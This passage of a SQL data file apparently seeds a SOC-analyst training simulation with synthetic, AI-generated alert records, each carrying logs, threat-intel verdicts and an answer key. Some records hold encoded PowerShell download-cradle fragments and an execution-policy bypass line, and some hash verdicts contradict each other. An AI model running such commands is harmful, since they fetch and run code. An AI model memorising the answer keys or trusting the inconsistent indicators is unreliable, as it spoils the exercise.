(2200, 'Suspicious Network Connection Detected by Any.Run', 'medium', 'Any.Run', 'A network connection from an internal machine to a suspicious external IP was detected. Further investigation revealed benign software activity.', 'Network Anomaly', 'T1049', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:12:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.10\",\"dst_ip\":\"203.0.113.100\",\"username\":\"csmith\",\"hostname\":\"desktop-01\",\"command_line\":\"outbound connection to 203.0.113.100:443\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP occasionally flagged for unusual traffic patterns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address originating the connection\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"The connection was part of a legitimate software update process, not malicious activity.\"}', 'Intermediate', 'MAL', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2201, 'Malware Analysis via Cuckoo Sandbox', 'critical', 'Cuckoo Sandbox', 'A file submitted to Cuckoo Sandbox exhibited multiple malicious behaviors, including persistence mechanisms and data exfiltration attempts.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:05:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"203.0.113.50\",\"username\":\"admin\",\"hostname\":\"server-05\",\"command_line\":\"C:\\\\malicious\\\\run.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP known for hosting malware\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash found in malware database with multiple detections\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address indicating victim machine\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The sandbox analysis confirmed malicious behaviors typical of malware, including persistence and communication with a known malicious IP.\"}', 'Intermediate', 'MAL', 5, 1, 'OT_ICS', NULL, NULL, NULL, 0),
(2202, 'Suspicious Web Request Detected by Any.Run', 'low', 'Any.Run', 'A web request from an internal IP seemed suspicious but was identified as a legitimate user action after further inspection.', 'Web Anomaly', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:55:10Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.0.5\",\"dst_ip\":\"198.51.100.20\",\"username\":\"jdoe\",\"hostname\":\"terminal-03\",\"request_body\":\"GET /index.php?user=jdoe&action=login\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"IP associated with trusted service provider\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the user machine\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"GET /index.php?user=jdoe&action=login\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Normal web request pattern\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_anomaly\",\"analysis_notes\":\"The web request was validated as a standard login attempt by the user.\"}', 'Intermediate', 'MAL', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2203, 'Packed Executable Detected with Reverse Engineering Tools', 'high', 'IDA Pro', 'A packed executable was analyzed, revealing suspicious behavior indicative of malware execution. The executable attempts to persist using startup entries.', 'Malware', 'T1036', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"workstation-01\",\"command_line\":\"C:\\\\Temp\\\\malicious.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with multiple malware families\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Temp\\\\malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable uses process hollowing to evade detection\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The executable is confirmed malicious due to its behavior and known bad hash.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2204, 'Malicious Macro Execution Detected', 'critical', 'Ghidra', 'A Word document containing a malicious macro was executed. The macro attempted to download additional payloads from a known malicious domain.', 'Malware', 'T1204', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"198.51.100.10\",\"username\":\"asmith\",\"hostname\":\"workstation-02\",\"command_line\":\"winword.exe /macro\",\"domain\":\"malicious-domain.com\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"malicious-domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain involved in distributing malware\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"winword.exe /macro\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Macro execution attempts to download secondary payloads\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}}],\"expected_actions\":[\"block_domain\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Macro execution from the document led to a connection with a known malicious domain.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2205, 'Suspicious Network Connection During Malware Analysis', 'medium', 'Cuckoo Sandbox', 'A malware sample executed in the sandbox attempted to contact an external IP address known for C2 communications.', 'Malware', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"203.0.113.99\",\"username\":\"sandbox_user\",\"hostname\":\"sandbox-machine\",\"file_hash\":\"25f4b8e1b0f94e0a8e7c6a1f9c971e2d\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 communications\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"25f4b8e1b0f94e0a8e7c6a1f9c971e2d\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Sample has few detection flags but is associated with C2 behavior\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address for sandbox environment\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The external IP is known for malicious C2 traffic, confirming the sample\'s malicious nature.\"}', 'Intermediate', 'MAL', 5, 1, 'RETAIL', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(2206, 'Executable Identified as False Positive in Malware Analysis', 'low', 'Any.Run', 'An executable flagged during the analysis was found to be a legitimate software update mistakenly identified as malicious due to its behavior.', 'Malware', 'T1036', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"\",\"username\":\"bsmith\",\"hostname\":\"workstation-03\",\"command_line\":\"C:\\\\Updates\\\\legit_update.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"File hash corresponds to a legitimate software update\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Updates\\\\legit_update.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Executable verified as part of a software update\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The executable, although flagged, was confirmed to be a non-malicious software update.\"}', 'Intermediate', 'MAL', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2207, 'Benign Network Traffic Mistaken for C2 Communication', 'medium', 'Cuckoo Sandbox', 'An internal application generated network traffic that resembled C2 communication, but further analysis revealed it was legitimate.', 'Malware', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.75\",\"dst_ip\":\"203.0.113.150\",\"username\":\"jwilson\",\"hostname\":\"server-01\",\"file_hash\":\"3f5c8f7b9d1c8a2c9f8d6a0e7b0f2d1e\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.150\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP occasionally reported, but typically associated with benign traffic\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3f5c8f7b9d1c8a2c9f8d6a0e7b0f2d1e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash corresponds to a known internal application\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address for ICS network\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The traffic was from a legitimate internal application, not a C2 communication.\"}', 'Intermediate', 'MAL', 5, 1, 'OT_ICS', NULL, NULL, NULL, 0),
(2208, 'Suspicious Packed Executable Detected in Healthcare Network', 'high', 'IDA Pro', 'A packed executable was detected running on an internal host. Reverse engineering revealed it contains capabilities for persistence.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"host-01\",\"command_line\":\"C:\\\\Windows\\\\Temp\\\\malware.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a healthcare network device\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash reported as malicious by 32 antivirus engines\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Windows\\\\Temp\\\\malware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable packed and contains persistence mechanisms\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The packed executable is confirmed malicious due to multiple antivirus detections and analysis showing persistence capability.\"}', 'Intermediate', 'MAL', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2209, 'Malicious Macro Execution Attempt Blocked', 'critical', 'Cuckoo Sandbox', 'An email attachment containing a malicious macro was opened on a workstation, triggering execution of a known malicious command.', 'Phishing', 'T1203', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"\",\"username\":\"asmith\",\"hostname\":\"host-02\",\"command_line\":\"powershell.exe -encodedCommand aQBlAG4AdgBvAGsAZQAgACgAbgBlAHQAIAB3AGMAbgB0ADoA\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"email_sender\":\"malicious@example.com\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a finance sector workstation\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Macro file hash identified as malicious by 40 AV engines\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"malicious@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"Email address associated with multiple phishing campaigns\"}},{\"id\":\"artifact_4\",\"type\":\"command\",\"value\":\"powershell.exe -encodedCommand aQBlAG4AdgBvAGsAZQAgACgAbgBlAHQAIAB3AGMAbgB0ADoA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded command used for malicious macro execution\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The macro attempted to execute a malicious PowerShell command, validated by the encoded payload analysis.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2210, 'Suspected Malicious Domain Access from Internal Host', 'medium', 'Any.Run', 'An internal host attempted to access a domain known for distributing malware. The domain was flagged by threat intelligence.', 'Malware', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.10\",\"dst_ip\":\"198.51.100.50\",\"username\":\"bwhite\",\"hostname\":\"host-03\",\"domain\":\"maliciousdomain.com\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a device within tech infrastructure\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with malware distribution activities\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain flagged for hosting malware payloads\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Access attempt to a known malicious domain suggests potential compromise, requiring containment actions.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2211, 'False Positive: Encoded PowerShell Detected', 'low', 'Ghidra', 'A PowerShell script with encoded content was detected. Analysis revealed it was a legitimate administrative script.', 'Lateral Movement', 'T1077', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.15\",\"dst_ip\":\"\",\"username\":\"davis\",\"hostname\":\"host-04\",\"command_line\":\"powershell.exe -encodedCommand aQBlAHgAUwBjAHIAaQBwAHQARQB4AGUAYwB1AHQAZQAgACgAbgBlAHQAIAB3AGMAbgB0ADoA\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a government machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -encodedCommand aQBlAHgAUwBjAHIAaQBwAHQARQB4AGUAYwB1AHQAZQAgACgAbgBlAHQAIAB3AGMAbgB0ADoA\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Encoded command verified as legitimate system maintenance script\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PowerShell activity was part of routine system maintenance, confirmed via script analysis.\"}', 'Intermediate', 'MAL', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2212, 'False Positive: Misconfigured Internal Web Request', 'medium', 'Cuckoo Sandbox', 'An internal server sent a web request with an unusual payload. Investigation showed it was due to a misconfiguration causing non-malicious traffic.', 'Web Attack', 'T1190', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.5.20\",\"dst_ip\":\"192.168.5.30\",\"username\":\"webservice\",\"hostname\":\"web-server-1\",\"request_body\":\"SELECT * FROM users WHERE user_id = \'1\'\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP address of an internal web service\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.5.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP address of an internal database server\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"SELECT * FROM users WHERE user_id = \'1\'\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"SQL payload found to be part of a misconfigured service query\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The SQL payload was part of a legitimate query from a misconfigured service, posing no threat.\"}', 'Intermediate', 'MAL', 5, 1, 'OT_ICS', NULL, NULL, NULL, 0),
(2213, 'Packed Executable Detected on Internal Machine', 'high', 'Cuckoo Sandbox', 'A packed executable was detected and analyzed, revealing potential malicious behavior. The executable initiated network connections to a known C2 IP.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"workstation1\",\"command_line\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\suspicious.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Trojan malware\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The packed executable exhibited behavior consistent with malware, connecting to a known C2 server.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2214, 'Malicious Macro in Document Detected', 'critical', 'Any.Run', 'A document containing a malicious macro was detected attempting to execute PowerShell commands on a victim machine.', 'Malware', 'T1203', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"10.0.0.5\",\"username\":\"asmith\",\"hostname\":\"laptop-asmith\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\asmith\\\\Downloads\\\\malicious.docm\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the victim machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\asmith\\\\Downloads\\\\malicious.docm\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command associated with macro execution of PowerShell\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The document contained a macro that attempted to execute unauthorized commands, indicating an attack attempt.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2215, 'Suspicious Network Activity from Internal Host', 'medium', 'Ghidra', 'An internal host was observed making unusual network connections to an external IP with no known association with business operations.', 'Data Exfiltration', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"198.51.100.7\",\"username\":\"kwhite\",\"hostname\":\"desktop-kwhite\",\"domain\":\"suspicious-domain.com\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.7\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple data exfiltration incidents\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"suspicious-domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain flagged for phishing and data exfiltration activities\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The network connections to a known malicious domain suggest an attempt to exfiltrate data from the network.\"}', 'Intermediate', 'MAL', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2216, 'False Positive: Legitimate Software Packed as an Executable', 'low', 'IDA Pro', 'A packed executable was detected, but further analysis revealed it to be a legitimate application update.', 'Malware', 'T1055', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"172.16.0.20\",\"username\":\"mjohnson\",\"hostname\":\"tablet-mjohnson\",\"command_line\":\"C:\\\\Program Files\\\\Updater\\\\update.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the device\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash is associated with a clean and legitimate file\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The software was verified as a legitimate application update, causing a false positive alert.\"}', 'Intermediate', 'MAL', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2217, 'False Positive: Script Execution Triggered by Software Update', 'low', 'Any.Run', 'A script execution was flagged as suspicious, but investigation confirmed it was part of a routine software update.', 'Malware', 'T1064', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.35\",\"dst_ip\":\"10.0.0.8\",\"username\":\"lwilson\",\"hostname\":\"server-lwilson\",\"command_line\":\"/usr/bin/python3 /opt/update_script.py\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.35\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the server\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/bin/python3 /opt/update_script.py\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Script execution is part of legitimate update processes\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The script execution was part of a scheduled update, confirming it as a false positive.\"}', 'Intermediate', 'MAL', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2218, 'Packed Executable Detected via Cuckoo Sandbox Analysis', 'high', 'Cuckoo Sandbox', 'A packed executable was detected during analysis, showing signs of malicious behavior with attempts to contact a known C2 server.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:34:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.102\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-5F3H1G\",\"command_line\":\"C:\\\\Users\\\\jdoe\\\\Downloads\\\\malicious.exe\",\"file_hash\":\"f3a8f8d9c8e9d1a9b1b9c8d7e8f9a1b2\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for command and control 